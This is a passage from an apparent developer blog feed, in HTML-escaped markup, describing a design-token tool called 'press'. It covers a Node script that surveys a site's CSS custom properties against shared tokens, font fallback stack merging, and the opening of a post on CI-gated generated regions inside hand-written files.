&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    let&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; detail &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (r.verdict &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;unexpressible&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) detail &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `consumer has ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;have&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (r.verdict &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;would-drop-fallbacks&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) detail &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `would lose ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;lost&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;, &apos;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (r.verdict &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;differs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) detail &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;have&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}  -&gt;  ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;want&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;LABEL&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;verdict&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}  --${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;detail&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;  &apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; detail&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;&apos;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; blockers &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; rows.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((r) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r.verdict &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;match&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r.verdict &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;new&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;rows&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.length&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} declared, ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;blockers&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.length&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} blocking adoption`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  process.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;exit&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(blockers.length &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The font-stack branch is the one worth reading twice. A &lt;code&gt;font-family&lt;/code&gt; value is a prioritized list, and per &lt;a href=&quot;https://www.w3.org/TR/css-fonts-4/&quot;&gt;CSS Fonts Module Level 4&lt;/a&gt;, “A user agent iterates through the list of family names until it matches an available font that contains a glyph for the character to be rendered.” So a shorter list that appears in order inside a longer one isn’t a different intent, it’s the same intent with fewer escape hatches. Reporting that as a plain difference invites you to overwrite it, which is exactly the wrong move.&lt;/p&gt;
&lt;h2&gt;Run it&lt;/h2&gt;
&lt;p&gt;Give the consumer the values it actually ships today, then survey it:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;mkdir&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -p&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; site&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; site/theme.css&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &amp;#x3C;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;&apos;EOF&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;:root {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  --bg: #F5F0E6;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  --fg: #181510;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  --accent: #E8501F;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  --border: rgba(24, 21, 16, 0.16);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  --border-hover: rgba(24, 21, 16, 0.38);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  --accent-dim: rgba(232, 80, 31, 0.12);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  --font-mono: ui-monospace, &apos;SF Mono&apos;, &apos;JetBrains Mono&apos;, Menlo, monospace;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;EOF&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; survey.mjs&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;exit: &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;$?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ok        --bg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ok        --fg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ok        --accent&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;NO TOKEN  --border  consumer has rgba(24, 21, 16, 0.16)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;NO TOKEN  --border-hover  consumer has rgba(24, 21, 16, 0.38)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;NO TOKEN  --accent-dim  consumer has rgba(232, 80, 31, 0.12)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;DROPS     --font-mono  would lose &apos;JetBrains Mono&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;7 declared, 4 blocking adoption&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;exit: 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Four blockers, which is the same count press hit surveying the real site. Three of them are values with nowhere to live, and one is a face that would have quietly vanished from a fallback chain. None of these would have shown up in review: the alpha tints render identically until someone changes &lt;code&gt;ink&lt;/code&gt;, and the missing mono fallback only matters on a machine where the faces ahead of it are absent.&lt;/p&gt;
&lt;p&gt;Now close the gaps. Declare the tints as computations, and widen the stack to the union rather than overwriting it:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  &quot;colors&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    &quot;paper&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;#F5F0E6&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    &quot;ink&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;#181510&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    &quot;accent&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;#E8501F&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  &quot;derived&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    &quot;border&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: { &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;from&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;ink&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;alpha&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.16&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    &quot;border_hover&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: { &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;from&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;ink&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;alpha&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.38&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    &quot;accent_dim&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: { &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;from&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;accent&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;alpha&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.12&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  &quot;fonts&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    &quot;mono_stack&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;ui-monospace, &apos;SF Mono&apos;, &apos;JetBrains Mono&apos;, Menlo, monospace&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki is-cmdbar vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; survey.mjs&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;exit: &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;$?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ok        --bg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ok        --fg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ok        --accent&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ok        --border&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ok        --border-hover&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ok        --accent-dim&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ok        --font-mono&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;7 declared, 0 blocking adoption&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;exit: 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Zero blockers, and the three tints the system now computes came out as the same strings the consumer had typed by hand. That equality is the actual result: it means adoption is a no-op, and you know it before you’ve changed the consumer at all rather than by staring at a rendered page afterward.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;A deeper fallback chain is not a difference to fix.&lt;/strong&gt; When the consumer’s stack and yours disagree, the reflex is to emit yours and move on. Symptom: a face disappears from the chain, and nothing looks wrong to you, because the faces ahead of it resolve on your machine and you never reach the part you deleted. It surfaces later on somebody else’s box, or in a rendering engine that walks the chain for real. The escape is the subsequence check above: if your list appears in order inside theirs, take the union, because fallbacks are additive and the deepest chain is the safe one. press made this call twice, first when the résumé’s print-tuned stacks became canonical in 0.1.0, then again here for &lt;code&gt;&apos;JetBrains Mono&apos;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Two values that are “obviously the same” can be two shipped products.&lt;/strong&gt; The survey will hand you near-duplicates and invite you to reconcile them. press found &lt;code&gt;hair&lt;/code&gt; at alpha 0.18 and &lt;code&gt;border&lt;/code&gt; at 0.16, both meaning “a faint ink line”, differing only because one was tuned on a résumé and the other on a website. Symptom: you merge them, and one of two shipped products changes appearance as a side effect of a refactor that was supposed to change nothing, which is also the hardest kind of regression to attribute later. The escape is to keep both, named separately, with a comment recording that the difference is real and known. Reconciling them is a design decision worth making on purpose, and separately.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;An unexpressible value becomes a local hand-write, and that is worse than before.&lt;/strong&gt; The tempting compromise when the token set can’t say something is to adopt it anyway and leave that one line local “for now”. Symptom: you end up with two sources of truth where you had one, and the local copy now looks sanctioned because it sits inside a file that otherwise came from the shared system, so the next person to read it has no way to tell which lines are authoritative. The escape is the exit code: make the survey fail until the token set can express everything the consumer ships, so “we’ll fix it after the migration” isn’t reachable.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.w3.org/TR/css-fonts-4/&quot;&gt;CSS Fonts Module Level 4&lt;/a&gt; — the font matching algorithm and why a font-family value is a prioritized list, not a set&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.w3.org/TR/css-color-5/&quot;&gt;CSS Color Module Level 5&lt;/a&gt; — relative color syntax, the in-CSS alternative to precomputing alpha tints&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://styledictionary.com/info/tokens/&quot;&gt;Style Dictionary: tokens and references&lt;/a&gt; — token aliasing with curly-brace paths, so a value is written once&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Changelog&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;feat(press): alpha tints + mono union so the site can adopt at 1:1 (0.2.0) (#117) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/6e22f2ca99860c2fd96cb019661ad977079f4b76&quot;&gt;6e22f2c&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/press/v0.2.0.png" length="22983" type="image/png"/></item><item><title>Own part of a file without owning the file</title><link>https://natejswenson.com/devlog/press/v0.1.0/</link><guid isPermaLink="true">https://natejswenson.com/devlog/press/v0.1.0/</guid><description>A shared value copied into eight files is eight values that happen to agree today. Here&apos;s how to generate a marked region inside each consumer instead, and gate it in CI so drift fails the build.</description><pubDate>Fri, 31 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
&lt;p&gt;press 0.1.0 replaced eight hand-ported copies of one brand across four repositories with a single &lt;code&gt;tokens.json&lt;/code&gt; and a CI drift gate. Each copy had documented its own lineage in a header comment, which is a copy chain rather than a system: five different names for the same orange, and three token groups that were genuinely shared but declared nowhere. The release declared all eight as targets, migrated the five that live in the same monorepo, and added &lt;code&gt;press check&lt;/code&gt; to fail the build when any of them drifts. Those five span Python, CSS and Markdown.&lt;/p&gt;
&lt;p&gt;The interesting part isn’t the token file. It’s that none of those consumers is generated. Each one is a hand-written stylesheet or renderer with a small shared block inside it, and press owns only the block. This guide builds that mechanism: a marked region you can splice into a file you don’t own, plus the gate that keeps it honest.&lt;/p&gt;
&lt;h2&gt;Why a region and not a file&lt;/h2&gt;
&lt;p&gt;The obvious design is to generate the whole consumer file from the tokens. It’s simpler to write and it’s wrong for most codebases, because the shared part is usually small and the rest is medium-specific work you’d be destroying on every sync. In press the shared core is around 80 lines while a single consumer’s stylesheet runs past 250, and a whole-file sync had already erased a hand-written avatar footer once before.&lt;/p&gt;
&lt;p&gt;Marked regions are well-trodden. Ansible’s &lt;a href=&quot;https://docs.ansible.com/projects/ansible/latest/collections/ansible/builtin/blockinfile_module.html&quot;&gt;&lt;code&gt;blockinfile&lt;/code&gt;&lt;/a&gt; inserts and updates a block between customizable marker lines, and its docs are blunt about the failure mode: a custom marker that omits the &lt;code&gt;{mark}&lt;/code&gt; placeholder gets the block re-inserted on every run instead of updated. Go standardized the other half, the warning to humans. Generated Go source is expected to carry a line matching &lt;code&gt;^// Code generated .* DO NOT EDIT\.$&lt;/code&gt;, and per the &lt;a href=&quot;https://pkg.go.dev/cmd/go/internal/generate&quot;&gt;&lt;code&gt;go generate&lt;/code&gt; docs&lt;/a&gt;, “This line must appear before the first non-comment, non-blank text in the file.”&lt;/p&gt;
&lt;p&gt;We want both properties, plus one more: the marker should carry a receipt, so a diff tells you which release last wrote the block and a hand-edit is detectable without re-running the generator.&lt;/p&gt;
&lt;h2&gt;Define the tokens and the consumers&lt;/h2&gt;
&lt;p&gt;Everything below is Node’s standard library with no dependencies, so an empty directory and Node 18 or newer is the whole setup. Start with the source of truth. Keep it dumb; it’s data, not code. The &lt;a href=&quot;https://www.designtokens.org/tr/drafts/format/&quot;&gt;Design Tokens Format Module&lt;/a&gt; standardizes a richer JSON shape for exactly this if you want cross-tool interoperability later, but a flat object is enough to build on.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
